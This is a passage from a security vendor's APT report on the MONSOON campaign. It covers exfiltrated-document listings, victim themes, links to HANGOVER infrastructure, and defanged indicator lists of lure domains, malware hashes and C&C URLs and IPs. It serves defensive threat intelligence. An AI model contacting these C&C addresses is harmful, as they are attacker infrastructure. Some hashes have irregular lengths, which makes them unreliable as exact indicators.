<td></td>
</tr>
<tr>
<td>0b6d8e17efa5491f592..&gt;</td>
<td>2016-05-13 03:49</td>
<td>87K.</td>
<td></td>
</tr>
<tr>
<td>0b480d4b3b77b18ac9b..&gt;</td>
<td>2016-05-13 05:37</td>
<td>131K.</td>
<td></td>
</tr>
<tr>
<td>0ca2694b8f51aa6c76c0..&gt;</td>
<td>2016-05-13 00:35</td>
<td>112K.</td>
<td></td>
</tr>
<tr>
<td>0ce429084587193368b..&gt;</td>
<td>2016-05-13 03:23</td>
<td>61K.</td>
<td></td>
</tr>
<tr>
<td>0d7b770c908b64c253c4..&gt;</td>
<td>2016-05-13 02:15</td>
<td>108K.</td>
<td></td>
</tr>
<tr>
<td>0dab1cc0cb7b871a66d1..&gt;</td>
<td>2016-05-13 02:07</td>
<td>194K.</td>
<td></td>
</tr>
<tr>
<td>0db9349dcb417e0d752c..&gt;</td>
<td>2016-05-13 03:18</td>
<td>138K.</td>
<td></td>
</tr>
<tr>
<td>0de7feb4417f4d477441..&gt;</td>
<td>2016-05-13 04:31</td>
<td>122K.</td>
<td></td>
</tr>
<tr>
<td>0e0655af7812bb9a33e2..&gt;</td>
<td>2016-05-13 03:21</td>
<td>142K.</td>
<td></td>
</tr>
<tr>
<td>0fca8a8cc517e7ed7f0..&gt;</td>
<td>2016-05-13 03:49</td>
<td>119K.</td>
<td></td>
</tr>
<tr>
<td>0ee183035365a108be19..&gt;</td>
<td>2016-05-13 02:14</td>
<td>90K.</td>
<td></td>
</tr>
</tbody>
</table>

Figure 41 – C&C Web Server /http/upload/<victim> listing

The filenames begin with the MD5 hash of the file, then a dash, and then the original filename. There were thousands of documents which had been exfiltrated to this C&C.

After reviewing the filenames of documents from several of the victims, it appears as though most of the victims are involved with government agencies. Some of these documents contain highly sensitive information such as clearance documents, financial information, and technical specifications.

During the investigation, the server stopped responding on June 8, 2016 and then came back online on July 5, 2016. It is unknown why this month long outage occurred, although it could have been because the group knew that people were accessing the open directories and wanted to remain undetected.
With respect to attribution, Forcepoint Security Labs focus on enabling the awareness and understanding of intent. This is useful in order to identify likely future behaviour. Reports from Special Investigations do not focus on specific attribution.

**VICTIMS**

The MONSOON victims fit with a group who have military and political interests in the Indian Subcontinent. Many of the victims are located in surrounding countries including Bangladesh, Sri Lanka and Pakistan. But victims also originate from further afield, including Africa and the Far East. The targeting of Chinese nationals may also be related to this campaign, but equally may be part of a separate campaign by the adversary or even as part of them selling Surveillance-As-A-Service in a similar manner previously seen with the HANGOVER group [2].

**ADVERSARIES**

It was possible to identify an individual from a domain registration record who is believed to be associated with MONSOON. There is a *highly probable* level of confidence in this association due to the following reasons:

- The domain name registered is a variant of one of the most popular domains used in MONSOON
- The person who registered the domain lives or has lived and works in India
- The person who registered the domain has profiles on coding challenge and freelance coder websites. The HANGOVER group are thought to use freelance coders.

From the information available, it was possible to identify this individual’s Facebook and LinkedIn accounts. However, it is not deemed in the public interest to publish specific details on this individual. Relevant authorities are informed as and when appropriate.

**Cui Bono?** A useful analysis viewpoint is to ask the legal question: *Cui Bono?* Or: “who profits?”

Even though this report does not attempt to focus on specific attribution, asking “*What is to be gained from these actions or what needs are satisfied?*” may offers some insight. Any further analysis is left as an exercise to for reader.

From the documents known to have been exfiltrated, a number of recurring themes occur:

- Army training, personnel and payroll records
- Defence attaches and consulates
- Defence research
- Foreign high commissions
- Military exercises
- Military air platforms
- Military naval platforms
- Military logistic records
- Naval coastal protection
- Army training, personnel and payroll records
- Defence attaches and consulates
- Defence research
- Foreign high commissions
- Military exercises
- Military air platforms
- Military naval platforms
- Military logistic records
- Naval coastal protection
- Anti-torpedo and naval electronic countermeasure (ECM) systems.
- Submarine communication systems
- Nuclear security and counter proliferation
- United Nations
- Personal details including medical records, driving license, passport and visas
- Accounting records
- Travel and itinerary details
**INFRASTRUCTURE**

By integrating the findings with prior research [1] [8], it was possible to connect MONSOON directly with infrastructure used by the HANGOVER group via a series of strong connections. The original HANGOVER infrastructure overlaps with unique passive DNS records and is further linked by the use of a specific SOA RNAME record.

An example of this connection is illustrated below.

Both of the IPs that link this infrastructure appear to be unique to the Hangover group. The newsnstat[.com] domain was used earlier in 2015 for previous HANGOVER campaigns, and was then repurposed in December 2015 for the MONSOON campaign.
A list of IOCs for MONSOON can be found below. This is not a comprehensive list and is focused on the specific documents and malware that were analysed for the purpose of this report.

**LURE URLs**

- hxxp://t.ymlp50.com/bjyapaejesjaoawsqaaujwes/click.php
- hxxp://www.newsnstat.com
- hxxp://www.cnmilit.com
- hxxp://www.militaryworkerscn.com
- hxxp://milresearchcn.com
- hxxp://miltechweb.com
- hxxp://miltech.cn
- hxxp://nudt.cn.com
- hxxp://modgov.cn.com
- hxxp://climax.cn.com
- hxxp://chinastrats.com
- hxxp://chinastrat.com
- hxxp://epg.cn.com
- hxxp://extremebolt.com
- hxxp://socialfreakzz.com
- hxxp://info81.com
- hxxp://www.81-cn.net
- hxxp://lujunxinxi.com
- hxxp://letsgetclose.com
- hxxp://greatdexter.com

**WEAPONISED DOCUMENT HASHES (SHA1)**

- 9034c8bfac8385a29f979b1601896c6edbb0113b2 (Cyber_Crime_bill.doc)
- 11064dcffe68ac1094c70b24215854efb8a0ad54 (Cyber_Crime_bill.doc)
- 5de7700187fe63c6ee6c2f3f3f3d528e2c6fe (China_Vietnam_Military_Clash.doc)
- 478a4f1f54ba7b85e8ae5ac53757fc220e3a091c (Cyber_Crime_bill.doc)
- 1e39ff19c72c74c893bf6f9fd69d0e7205c5da15 (china_report_EN_web_2016_A01.doc)
- f7d9e0c7714578eb29716c1d2f49ef0defbf112a (Job_offers.doc)
- 406c74e8e8b9f7b912a535dd38c79c1c3fde0c6fe (DFP_INDIAN_2016.pps)
- 9c0db41f3b5a4827c88d9809ed021056fbc (DFP_INDIAN_2016.pps)
- 7e994c8779e82804a242958722d3d9b1a8b4 (maritime_dispute.pps)
- 1ce0ad3565f5f86f639e040849a230f9f4ce158 (Clingendael_Report_South_China_Sea.pps)
- 4a575be63262d35a7e56de25f534e830d3f638 (PLA_Forcoming_Revolution_in_Doctrinal_Affairs.pps)
- cfb33642b702bb4da43aa642aa657f1e89f1b6 (China_Security_Report_2016.pps)
- 5d61d61741bee5520b2f767fcbb5afe151341238a (militarizationofsouthchinasea_1.pps)
- f3c9c62869c87fe17aa6271b6e7f25a5abcf66c (Chinese_Influence_Faces_2.pps)
- dcccd7a9886e147ecf0171847ef1911232ca8c9 (2016_China_Military_PowerReport.pps)
- c9dddedd4858234e1be971c7f66193ea907ac8d (PLA_UAV_DEPLOYMENT.pps)
- 11c05af6ca2e6836ba34d587770c668d558aa (7GeopoliticalConsequences_toAnticipateinAsiainEarly2016_1.doc)
- 3eefbe445564e102a71e4a499d30f57495b9096a (UN_4_21_2015.doc)
- 4dad73a9c61527a6b85006ab60b0a3fbc051b (China_plan_to_dominate_South_China_Sea_and_beyond.doc)
- e6aabcbbf6535d9ebe332e235857979705d0c (China_Response_NKorea_Nuclear_Test13.pps)
- ee3029ae9af1c2da24cceebed0f31e1f28525e (ChinaUS_11.pps)
- 5f9de2944269d1160048c5a966e56ed94449341 (China_two_child_policy_will_underwhelm11.pps)
- e971ea3f1d32bb8bd9657c17b2c1520b5f9c1d0e (MilReforms_1.pps)
BADNEWS MALWARE HASHES (SHA1)
dc7a4def1dd562b906d19900b19cad4b2bd299d
b362dd1d91ed93eebb03d2d40553153f2f148209d3a
3b4a16a6b0e1c193a647d97c4bfaf21f562c72528
d09ed8c4ab4d3f4acdbd3a196c2cd083b8795692
ce7b3236e94900ffdad5339769219ab997d55e4a5
b5675edfada9039fd6a5adb84a6031e7e457dc917
dcd8e7690d807805e450f9f4bda5692a582c67eed

AUTOIT MALWARE HASHES (SHA1)
32a89a8c8cb77a300a949091199a082acc165f40
c0a47613f3c6c723fa6a6b2f9d5085a646cd3b69d
af3ef7f686b63bc209ef52ef35cdad269d57921
3109a3307bb06ff815bb48c3e9d6a940ef1ff113b
4d287bba9ae9ef63a934a85172ff1fda1400abd5
be7f8e5855789ad5854e63c6eb77b506a02c3f5054
2cb158449a9c56511dfda55afe7b668ef3ccadaa
282af7d5d8d4ccc1e3430ac1af01d86e07c30891c
6356ed0198fda3a2997ee4017cf54542f7f77ce2
df3016b793b14ca89b03a2a5d98f7c7e12b91c3
f16cd0a84c02cc9f0697cd0d2d28d199e5763ff9e6
734d4272748aa3ca4e5ab59a406a6f441b1f4a
386390afde4f7c14917591c89a7e607315fc8b

TINYTYPOHN MALWARE HASHES (SHA1)
411387df2145039fc601bf38192b721388cc5141
fcfe8e5cf12077fda99bc0a4dcd5ad188089655a
791ea642d84a3a684271b56601346a26f3d4a33

UNKNOWN LOGGER MALWARE HASHES (SHA1)
c691c0719163ca3db28235d0a38060b2b9ea8f2
6e85333e3ee05c04bee0547419aa68a07a0e5f5

MISCELLANEOUS SAMPLES (SHA1)
4c70974a8e3de87d1c2a42d18d8c1b25904a4 (.NET updater used by AutoIt backdoors)
99f07fb2aa6367291476fde6cd4921c835959d0 (UAC bypass stub)

BADNEWS C&C
hxpx://43.249.37.173/quantum/ghsnls.php
hxpx://5.25.98.0/Tussmal.php
hxpx://85.25.79.230/quantum/ghsnls.php
hxpx://85.25.79.230/quantum/ghsnls.php
hxpx://captain.chickenkiller.com/quantum/ghsnls.php
hxpx://feeds.rapidfeeds.com/61594/
hxpx://feeds.rapidfeeds.com/81908/
hxxp://feeds.rapidfeeds.com/81909/
hxxp://raheel.ignorelist.com/quantum/ghsnls.php
hxxp://rasheed.crabdance.com/quantum/ghsnls.php
hxxp://raw.githubusercontent.com/azeemkhan89/sports/master/sports.xml
hxxp://updatesoft.zapto.org/Tussmal/ghsnls.php
hxxp://updatesys.zapto.org/Tussmal/ghsnls.php
hxxp://ussainbolt.moooom.com/Tussmal/ghsnls.php
hxxp://ussainbolt1.mooo.com/Tussmal/ghsnls.php
hxxp://www.chinahush.com/2014/12/27/can-common-views-of-chinese-women-be-changed
hxxp://www.repeatserver.com/Users/sports/news.xml
hxxp://www.webrss.com/createfeed.php?feedid=47444
hxxp://194.63.142.174/Mussmal/ghsnls.php
hxxp://43.249.37.173/yumhong/ghsnls.php
hxxp://85.25.79.230/tesla/ghsnls.php
hxxp://asatar.ignorelist.com/tesla/ghsnls.php
hxxp://feeds.rapidfeeds.com/81913/
hxxp://forum.china.org.cn/viewthread.php?tid=175850&page=1&extra
hxxp://hostmyrss.com/Feed/housing_news
hxxp://javedtar.chickenkiller.com/tesla/ghsnls.php
hxxp://overthemontains.weebly.com/trekking-lovers
hxxp://russell01.servebeer.com/
hxxp://russell02.servebeer.com/
hxxp://russell02.servehttp.com/
hxxp://russell03.servehttp.com/
hxxp://tariqj.crabdance.com/tesla/ghsnls.php
hxxp://wgeastchina.steelhome.cn/xml.xml
hxxp://whgt.steelhome.cn/xml.xml
hxxp://www.itpub.net/thread-2055123-1-1.html
hxxp://www.travelhoneymoon.wordpress.com/2016/03/30/tips-to-how-to-feel-happy
hxxp://www.webrss.com/createfeed.php?feedid=47448
hxxp://www.webrss.com/createfeed.php?feedid=47449
hxxp://wxkysteel.steelhome.cn/xml.xml
hxxp://wxycgc.steelhome.cn/xml.xml
hxxp://raw.githubusercontent.com/azeemkhan89/cartoon/master/cart.xml

**AUTOIT C&C**

hxxp://212.129.13.110
hxxp://212.****redacted*** (please contact if required)

**METERPRETER C&C**

hxxps://45.43.192.172:8443

**TINYTYPHON C&C**

hxxp://212.****redacted*** (please contact if required)

**NAMES OF LURE & WEAPONISED FILES**

Below are the most common filenames used as lures. The distribution of words was used to generate the word cloud.

10_gay_celebs
11_Nepalies_Facts
13_Five_Year_Plan_2016-20-1
2016_china_military_powerreport
Geopolitical Consequences to Anticipate in Asia in Early 2016
A Bigger, Bolder China in 2016
Aeropower
aerospace
Aliexpress Randomiser
AN UPDATED_U
arty_main
Assessing PLA Organisational Reforms
australia_fonops
bank
Behind China's Gambit in Pakistan
Beijing Nanshan Ski Village
BOC
book_china_transition_under_xi_jinping
CEF Chengdu July 2016
CHINA FEAR US
chinamilreforms
chinamilstrength
China Nuclear Weapons
China Pakistan
China Pak Policy
China plan to dominate South China Sea and beyond
China Response NKorea Nuclear Test1
chinascyberarmy2015
china_security_report2016
China Evolving Approach to Integrated Strategic Deterrence
China Military Intelligence System is Changing
China New Silk Road and US Japan Alliance Geostrategy
china_sperm_study
CHINA'S PUZZLING DEFENSE AGREEMENT WITH AUSTRALIA
China two child policy will underwhelm
China US
China Vietnam Mil clash
china_vietnam_military_clash
Chinese defence Budget
Chinese Influence
Chinese Influence Faces
chinesemilstrat
Christians in China suffer persecution 2015
CIDEX2016
clingendael_Report_South_China_Sea
cn-lshc-hospital-operations-excellence
config
Counter Strike4
CPM Update South China Sea
cppcc
CSR74 Blackwill Campbell Xi Jinping
Defexpo ebroucher
dpp_india_2016
election
engmarvels
Ex Documents12
exercise_force_18
Exercise Force 18 21
EXERCISE FORCE 281
From Frontier To Frontline Tanmen Maritime Militia
futuredrones
gakoaonewreforms
gakoaoneschedule
Goedecke_IPSP_South_china_sea
harbin
MONSOON – ANALYSIS OF AN APT CAMPAIGN
ABOUT US

Special Investigations is part of Forcepoint Security Intelligence, itself an integral part of Forcepoint Security Labs. It exists to provide the security insights, technologies, and expertise to allow customers to focus on their own core business rather than security. Special Investigations is made up of talented malware reverse engineers and malware analysts. They are responsible for delivering high quality output as part of their investigations into botnets, APTs, and other deep reverse engineering topics.

Special Investigations work with national and international crime agencies, national CERTs and trusted partners. The team works closely with other parts of Forcepoint Security Labs, as well as other areas of the Forcepoint business. They strive to enable and deliver insight and a deep understanding of emerging cyber threats. They are able to communicate this to a broad set of stakeholders including customers, partners and the general public with the objective of offering tangible decision advantage.
FIGURES

Figure 1 – Word-Cloud of Lure Document Titles ............................................................................ 1
Figure 2 – Cyber_Crime_Bill.doc (Excerpt) ................................................................................... 6
Figure 3 – EXIF info for Cyber_Crime_Bill.docx ......................................................................... 7
Figure 4 – Search VT by Author Metadata ..................................................................................... 7
Figure 5 – Lure Document Cover ................................................................................................... 8
Figure 6 – Lures from 37.58.60.195 .............................................................................................. 8
Figure 7 – URLQuery.net ................................................................................................................. 9
Figure 8 – Known Bad Email Lure .................................................................................................. 10
Figure 9 – YMLP Lures .................................................................................................................. 11
Figure 10 – China Strat Screen Shot ............................................................................................... 12
Figure 11 – Lure Google+ Screen Shot .......................................................................................... 13
Figure 12 – Lure Facebook Screen Shot ......................................................................................... 14
Figure 13 – Lure Twitter Screen Shot ............................................................................................. 15
Figure 14 – Exploited CVEs .......................................................................................................... 16
Figure 15 – Binary Blob Dropped to %temp% ................................................................................ 17
Figure 16 – VB Extract of Blob ....................................................................................................... 17
Figure 17 – VB Decryption of Embedded Files .............................................................................. 18
Figure 18 – PHP Redirect ............................................................................................................... 20
Figure 19 – Silverlight Profiling ..................................................................................................... 21
Figure 20 – Windows Registry Keys ................................................................................................ 22
Figure 21 – GitHub Command Channel .......................................................................................... 24
Figure 22 – Chinasmack[.com] Command Channel ....................................................................... 24
Figure 23 – Forum Command Channel ............................................................................................ 25
Figure 24 – BADNEWS Command Set .......................................................................................... 28
Figure 25 - Device Change Listener ................................................................................................ 29
Figure 26 – Updater VBScript ......................................................................................................... 30
Figure 27 – Upload via PHP Script .................................................................................................. 31
Figure 28 – Base64 Response ........................................................................................................... 32
Figure 29 – Beautified Powershell ................................................................................................... 33
Figure 30 – Hard Coded IP Address ............................................................................................... 34
Figure 31 – Encrypted Shellcode .................................................................................................... 35
Figure 32 – Decrypted PE File ......................................................................................................... 36
Figure 33 – Unknown Logger Server Configuration Panel .............................................................. 37
Figure 34 – Unknown Logger – Settings Panel ............................................................................... 38
Figure 35 – Unknown Logger Configuration .................................................................................. 41
Figure 36 – XOR 0x90 Data ............................................................................................................. 42
Figure 37 – Document Crawler ....................................................................................................... 43
Figure 38 – Document Upload to C&C ............................................................................................ 44
Figure 39 – C&C Web Server /http listing ...................................................................................... 44
Figure 40 – C&C Web Server /http/upload listing ........................................................................... 45
Figure 41 – C&C Web Server /http/upload/<victim> listing ............................................................ 46
Figure 42 – Connection Topology ................................................................................................... 48
REFERENCES


